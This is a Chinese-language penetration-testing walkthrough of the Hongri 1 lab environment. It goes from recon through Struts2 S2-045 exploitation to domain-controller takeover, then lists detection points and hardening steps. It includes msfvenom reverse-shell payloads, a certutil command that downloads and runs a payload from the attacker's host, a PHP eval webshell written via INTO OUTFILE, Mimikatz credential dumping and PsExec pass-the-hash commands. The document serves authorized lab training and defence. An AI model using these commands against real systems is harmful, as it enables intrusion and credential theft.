
1. 为什么练web渗透我建议从红日靶场开始1.1 红日靶场到底是个什么东西如果说CTF是给安全新手准备的拼图游戏那红日靶场就是把真实企业网络“解剖”后放到你面前的一台台虚拟机。我最早接触红日靶场是想练web服务器渗透测试却找不到合适的实验环境——网上很多教程要么只讲单个漏洞利用要么一上来就是云端靶场总觉得少了点“真实攻击”的味道。红日靶场的web服务器渗透测试不一样它先是外网边界机后有内网域控一条链路走下来几乎把现代企业内网里的常见问题都覆盖了。红日靶场是红日安全团队维护的系列靶场以虚拟机镜像的方式打包了一套“可以被攻击”的企业内网环境。系列版本出了不少最经典、最适合入门的还是红日1。它不像CTF那样只考某个点而是尽量还原了真实企业的三层结构外网入口、内网主机、域控制器。web服务器渗透测试是这套流程的第一站也是绝大多数人从“会打单点漏洞”走向“会打整个内网”的第一个卡点。这篇文章我会以红日1为例从信息收集、漏洞利用、GetShell、内网横向一直到加固方案完整走一遍web服务器渗透测试流程。安全前提所有操作必须在本地靶场或获得授权的环境中进行。红日靶场是红日安全团队发布的离线实验环境仅供安全学习和研究使用请勿对未授权目标实施任何测试手段。1.2 红日1的拓扑一张图看懂这台web服务器所在的位置红日1的网络结构是典型的三段式这也是为什么它特别适合练web服务器渗透测试——因为你必须先拿下web服务器才有资格考虑后面的事。攻击机通常是一台Kali LinuxIP在192.168.1.0/24网段与边界web服务器外网网卡互通。边界web服务器一台Windows 7虚拟机双网卡外网IP大概率为192.168.1.8内网IP为10.10.10.80。这台机器上运行着phpStudyApachePHPMySQL可能还存在Tomcat下的Struts2应用这就是我们要打的“web服务器”。内网域环境域控是10.10.10.10Windows Server 2008域名为god.org域内还有若干台Windows主机分布在10.10.10.0/24网段。这种设计的巧妙之处在于从攻击机视角看你只能看到192.168.1.8这台web服务器当你真正GetShell之后才会发现它背后还挂着一个完整的域环境。很多新手在前面web渗透阶段折腾半天一旦拿到系统权限就不知道下一步该干什么正是因为心里没有这张内网拓扑图。所以动手之前先把“边界机是跳板不是终点”这个意识建立起来。1.3 环境部署中容易被忽略的几个点红日1的镜像可以在红日安全官方渠道找到下载后用VMware或VirtualBox导入即可。环境部署本身不难但有几个坑我见过太多人踩网络模式必须配好。攻击机和边界机的外网网卡要在同一个虚拟网络中比如VMware的VMnet8 NAT或自定义VMnet1边界机的内网网卡要和域控在同一虚拟网络中。配错了就会出现“扫描不到目标”或“拿到shell后访问不了内网”的情况。务必看README/说明文件。靶场说明里会写清楚虚拟机的登录密码、各台机器的IP规划、域账号信息。很多人导入后登录不了不是环境坏了而是没看说明或者VMware和VirtualBox的镜像格式需要转换。先打快照。每台虚拟机配置好后先保存一个干净快照。后面做漏洞利用、上传工具、横向移动都可能把系统搞得乱七八糟有快照随时可以回滚。这些事情听起来没什么技术含量但实际影响非常大。环境部署不干净后面每一步都会怀疑是自己操作错了还是环境错了非常影响练习效率。2. 信息收集阶段先把入口资产摸干净2.1 端口扫描这台web服务器到底开了什么门信息收集没有捷径端口扫描永远是第一步。对这台web服务器我习惯先用全端口扫描再做服务版本识别nmap -sS -sV -O -T4 192.168.1.8如果速度太慢也可以先快速扫常用端口再针对开放端口做版本探测。红日1这台边界机最常见的扫描结果是端口服务说明80/tcpApache HTTPphpStudy默认站点可能还有phpMyAdmin3306/tcpMySQL数据库服务注意是否可外连8080/tcpApache Tomcat很可能部署了Struts2应用3389/tcpRDP远程桌面服务后面可能是直接入口80和8080这两个端口就是最核心的web攻击面。3306端口暴露到外网本身就是一个严重的配置问题但它能不能被利用取决于MySQL账号是否弱口令。3389端口在拿下服务器后可以直接远程桌面登录方便做图形化操作。2.2 目录扫描与指纹识别别放过phpMyAdmin端口扫描只能告诉你开了哪些门门后面有什么还得靠目录扫描和指纹识别。我用字典工具扫一下80端口的web根目录dirsearch -u http://192.168.1.8 -e php,html,htm,txt扫完之后大概率能发现/phpmyadmin/这样的路径。这是phpStudy自带的管理面板很多人部署完忘记删也忘记改口令于是就成了整个攻击链路的第一个突破口。指纹识别也很重要。直接看HTTP响应头能拿到不少信息whatweb http://192.168.1.8或者用Burp Suite抓一下响应看Server头是Apache还是NginxX-Powered-By是否暴露了PHP版本。8080端口的页面也要访问一下看看是不是Struts2的应用首页。如果看到类似Struts2 Showcase的页面那基本可以锁定一个明确的利用目标。这里要提醒一点目录扫描脚本跑不出来不等于不存在。字典工具只能扫到字典里有的路径实际企业环境经常会有隐藏的管理后台或者备份文件。打完靶场之后你可以自己动手加几个自定义路径进去形成自己的字典这对后面做真实授权测试会很有帮助。2.3 扫描器只能给线索结论必须靠手工验证现在很多人习惯直接上Xray、AWVS、Nessus这类漏扫工具指望工具直接报告“这个web服务器存在什么漏洞”。工具当然可以用但问题在于漏扫工具对Struts2这类框架型RCE漏洞经常出现误报或漏报而且扫描器给出的利用建议往往是通用性的不一定适合当前环境。我的做法是扫描器输出的结果只当作线索所有漏洞都必须手工验证一遍。比如扫描器报告“可能存在Struts2远程命令执行”那我就要抓包改Content-Type手工试一次确认命令能执行才敢往下走。判断一个漏洞是“疑似存在”还是“确定可利用”标准是能否执行命令或拿到回显而不是扫描器说“有”。3. 两个入口的利用路线S2-045 与 phpMyAdmin 弱口令3.1 S2-045漏洞原理为什么一个请求头就能打穿红日1的web服务器上最经典的漏洞是Struts2的S2-045CVE-2017-5638。这个漏洞影响Struts2 2.3.5到2.3.31、2.5到2.5.10版本它的根因是Struts2在解析multipart/form-data类型的请求时会使用Jakarta Multipart解析器。当Content-Type头异常时解析器会把异常信息直接拼接到错误消息里而这个错误消息又会被OGNL表达式引擎解析执行。你可以这么理解正常情况下Content-Type只是告诉服务器“我这次发的是哪种数据”但S2-045把这个“门牌号”直接当成了“进门的口令”来执行。攻击者只需要在Content-Type字段里构造一段恶意的OGNL表达式服务器就会把它当作代码执行从而运行系统命令。这个漏洞可怕的地方在于利用它不需要登录、不需要上传文件只要目标存在Struts2应用且版本在影响范围内就能直接执行命令。3.2 手工验证S2-045从怀疑到确认验证S2-045最直接的方式就是用Burp Suite抓包把请求的Content-Type改成一段包含OGNL表达式的恶意值然后观察HTTP响应中是否回显了命令执行结果。具体Payload的结构网上公开资料很多核心思路是构造OGNL上下文、清空访问限制、调用ProcessBuilder执行系统命令并把结果回写到响应流中。如果你不想一上来就手工构造长Payload可以用Nmap的漏洞检测脚本先探一下nmap -sV --script http-vuln-cve2017-5638 -p 8080 192.168.1.8脚本输出VULNERABLE基本就能确认存在漏洞。不过我仍然建议你手工构造一次请求目的不是为了“证明漏洞存在”而是为了真正理解漏洞触发的完整过程。等你理解了原理后面遇到变种或者脚本失效的情况才能自己调整利用方式。3.3 从命令执行到GetShell的完整链路确认S2-045可以利用之后先别急着弹shell先执行一个简单的命令看看回显。通常我会先执行whoami和ipconfig /all确认当前权限和网络位置。在红日1中Struts2服务是以系统服务方式运行的所以命令执行结果很可能是nt authority\system权限并且能看到两个网卡的IP分别是192.168.1.8和10.10.10.80。到这里这台web服务器的“跳板”属性已经非常明显了。接下来就是把命令执行升级成稳定的Meterpreter会话。我会先在攻击机上生成一个反向连接的Payloadmsfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.1 LPORT4444 -f exe -o payload.exe python3 -m http.server 80然后在MSF里开启监听msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.1 set LPORT 4444 run最后通过S2-045执行命令让目标机器下载并运行Payloadcmd.exe /c certutil -urlcache -split -f http://192.168.1.1/payload.exe C:\temp\payload.exe C:\temp\payload.exe这一步的原理不复杂就是在目标机器上下载一个可执行文件并运行但实际操作中有几个细节需要注意目标机器能不能访问到你的HTTP服务、防火墙是否拦截了4444端口、Payload是否被杀毒软件查杀。红日1默认没有复杂的杀毒软件但在真实环境中这一步往往是攻防对抗最激烈的地方。3.4 phpMyAdmin弱口令的利用思路与失败处理除了S2-045这条主线红日1的web服务器上还留了一条很经典的“暗线”——phpMyAdmin弱口令。访问http://192.168.1.8/phpmyadmin/尝试root/root或者root/123456这类常见组合很大概率能直接登进去。进入phpMyAdmin之后利用思路是执行SQL语句通过INTO OUTFILE把PHP代码写入web根目录从而获取一句话WebShell。大致的SQL形式是SELECT ?php eval($_POST[cmd]);? INTO OUTFILE C:\\phpStudy\\WWW\\shell.php;但这里我要泼一盆冷水这条路在红日1的某些部署版本里不一定走得通。原因通常是MySQL的secure_file_priv参数限制了导出目录或者web根目录没有写权限或者写进去的马被杀软拦了。遇到这种情况别死磕换个思路回到S2-045这条主线上先把权限拿到再说。两条路都试一下也是练习的意义所在——真实渗透中交叉验证是常态一条路不通就换一条而不是在一个地方耗死。4. GetShell之后服务器权限确认与内网前移4.1 确认权限和网络位置你的shell到底有多大权限Meterpreter会话建立之后第一件事不是急着抓密码而是先确认三件事当前用户权限、操作系统信息、网络连接情况。meterpreter getuid Server username: NT AUTHORITY\SYSTEM meterpreter sysinfo Computer : WEBSERVER OS : Windows 7 (6.1 Build 7601, x64). meterpreter ipconfig Interface 1: 192.168.1.8 Interface 2: 10.10.10.80看到NT AUTHORITY\SYSTEM说明你已经是这台web服务器的最高权限了。很多新手到这里以为“游戏结束”但实际上对于红日1来说拿到web服务器只是热身。你现在站在一台双网卡机器上一个网卡通外网一个网卡通内网真正的目标——域控——还在10.10.10.0/24网段里等着你。4.2 为什么S2-045打出来直接就是System权限这里有必要解释一个很多人困惑的问题为什么一个web漏洞打出来直接就是系统权限因为Struts2运行所在的Tomcat服务在Windows上通常以系统服务方式启动默认账户是LocalSystem。这意味着漏洞利用时执行的命令继承了服务账户的权限直接就是System。这个现象在红日靶场里很常见但在生产环境中规范一点的运维会把服务运行账户设置成普通权限用户比如NETWORK SERVICE或专门的application账户。所以不要因为在靶场里打出来是System就形成思维定式真实场景中你拿到的权限往往不是System还需要做本地提权。靶场练的是进攻思路真实环境拼的是细节判断。4.3 建立内网路由从外网攻击机访问10.10.10.0/24由于攻击机Kali只能直接访问192.168.1.0/24网段要到达内网的10.10.10.0/24就需要通过已经拿下的web服务器做路由转发。在Metasploit中可以用现有会话直接添加路由meterpreter run autoroute -s 10.10.10.0/24或者在MSF命令行手动添加msf6 route add 10.10.10.0/24 1这里的1是当前Meterpreter会话的ID。路由添加成功后所有MSF模块发起的攻击请求都会自动通过这个会话转发到内网目标。这也是为什么我一直推荐用Meterpreter而不是单独弹个cmd——后续所有内网操作都可以在同一个框架内完成省去很多来回切换的麻烦。5. 从web服务器到域控一条完整的横向路径5.1 凭证提取在System权限下抓取域内凭据有了System权限下一步就是凭证提取。在Meterpreter中加载kiwi模块Mimikatz的MSF实现即可meterpreter load kiwi meterpreter creds_all这个操作会从内存中读取当前登录用户的明文密码、哈希、Kerberos票据等信息。在红日1环境中这台web服务器已经加入了god.org域并且以域用户身份登录过所以内存中很可能存在域账号的凭据。这里要说明一个关键区别抓到的如果是NTLM哈希不一定能直接看到明文密码但可以用“哈希传递”的方式直接横向移动。很多新手拿到Hash后不知道该怎么用其实在Windows域环境中有一类攻击就是不需要知道明文密码、直接用Hash去认证的。这也是域渗透里最基础也最实用的技术。5.2 横向打到域控优先用凭据而不是漏洞内网信息收集阶段可以用MSF扫描一下10.10.10.0/24网段的其他主机use auxiliary/scanner/smb/smb_version set RHOSTS 10.10.10.10-80 run扫描结果通常能看到10.10.10.10是Windows Server 2008很可能就是域控。除此之外还可能有10.10.10.30、10.10.10.40等域内主机。如果你已经拿到了域管理员的明文密码或NTLM哈希横向移动优先用PsExec这类工具而不是去扫永恒之蓝use exploit/windows/smb/psexec set RHOSTS 10.10.10.10 set SMBDomain GOD set SMBUser administrator set SMBPass 获取到的密码或哈希 run这里有个细节从内网主机回连攻击机的方向经常不通因为域控所在的内网网段访问不到攻击机所在的192.168.1.0/24网段。所以跨网段执行PsExec时我更习惯设置windows/meterpreter/bind_tcp类型的Payload让目标主机监听一个端口然后由攻击机通过已有会话去连接。这个回连方向的问题在实战中非常影响成功率提前有意识比踩坑后再补救强得多。拿下一台域控之后整条攻击链其实已经打通了。此时你可以通过域控继续管理整个域环境所有域内用户的凭据、所有主机的管理权限基本都在你的控制范围内。5.3 完整攻击链梳理每个环节对应的检测点把整条链路拉通看一遍它其实是一个很典型的“从web入口到域控”的攻击路径攻击环节技术手段权限变化企业侧检测点web入口利用S2-045 OGNL注入普通用户到SYSTEMWAF拦截异常Content-Type、防火墙日志获取立足点下载并执行PayloadSYSTEM进程创建审计、HTTP下载记录内网信息收集autoroute、SMB扫描无新增权限异常内网扫描流量、ICS流量凭据窃取Mimikatz/kiwi读取内存读取域凭据lsass进程访问监控、事件日志横向移动PsExec/哈希传递域管权限Windows 4624、4648登录事件、服务创建7045事件如果你在企业做蓝队这张表就是你做检测规则和日志审计的切入点。如果你在做红队这张表则是你“打完之后应该清理痕迹”的检查清单。6. 加固清单同样的环境企业里怎么防6.1 web应用层的防护核心红日1能被打穿最根本的原因就是web应用存在RCE漏洞。企业侧最直接的防护手段就是升级组件将Struts2升级到不受影响的版本或者彻底移除不需要的框架组件。对于无法立即升级的存量系统至少要在前置WAF上配置针对异常Content-Type的拦截规则防止OGNL表达式被直接投递到后端。更进一步可以在应用层部署RASP运行时应用自我保护它能在代码执行层面对OGNL注入行为进行拦截比传统WAF的规则匹配更精准。中间件进程的运行账户一定要坚持最小权限原则别再用System启动Tomcat——这条做不好后面所有纵深防御的效果都会打折扣。6.2 数据库与运维入口的加固phpMyAdmin弱口令在红日1里只是“开胃菜”但在真实环境中它经常是被忽略的重灾区。对这类运维入口我的建议很明确不需要就彻底删除必须保留就做三层防护——强口令、访问白名单、双因素认证。另外MySQL的secure_file_priv参数一定要限制到一个特定的、没有web服务能力的目录否则一旦拿到SQL执行权限写WebShell就是顺手的事。数据库端口不要暴露在公网上这一点无论强调多少遍都不过分。红日1里3306直接开放给攻击机扫描到了真实环境如果运维把MySQL端口暴露在公网就等于主动送了一条攻击路径出去。6.3 内网横向防御与日志审计红日1的横向移动之所以顺利很大程度上是因为域内主机之间缺少必要的隔离和口令管控。企业侧防御应该关注几个重点域管理员账号只能用于域控登录不允许在普通服务器和工作站上登录从源头上避免高权限凭据散落各处。本机Administrator密码要统一管理和定期轮换避免因为一台机器被攻破就导致整个域内所有机器的本地管理员口令都被拿到。网络分段做到“web区不能直达域控”中间通过防火墙或跳板机隔离让攻击者即使拿下web服务器也无法直接访问域控。日志集中审计重点监控4624登录成功、4625登录失败、4648显式凭据登录、7045新服务安装这几类事件同时关注lsass进程的异常访问行为。红日1这套环境最大的价值就是让你在“攻”的过程中理解“防”应该怎么做。很多人只知道一味打靶却从不关心自己的攻击动作在防御侧会留下什么样的日志特征这样练出来的技术是不够立体的。每一次攻击步骤你都应该反问一句这一步如果被企业安全团队看到他们会怎么发现我最后分享一个我自己的习惯每次打完红日靶场我都会把完整的操作过程整理成一份测试报告记录目标、方法、利用的漏洞、获取的权限、时间线以及对应应该修复的问题。这种报告看起来麻烦但对提升渗透测试的系统性思维帮助极大。真正到了项目现场你能交付的不仅仅是“打下来了”而是一份让客户和执行团队都能看懂的完整攻击链说明。红日靶场给了我们一个低成本复现真实攻击链的机会千万别只把它当成一个“打通关”的游戏。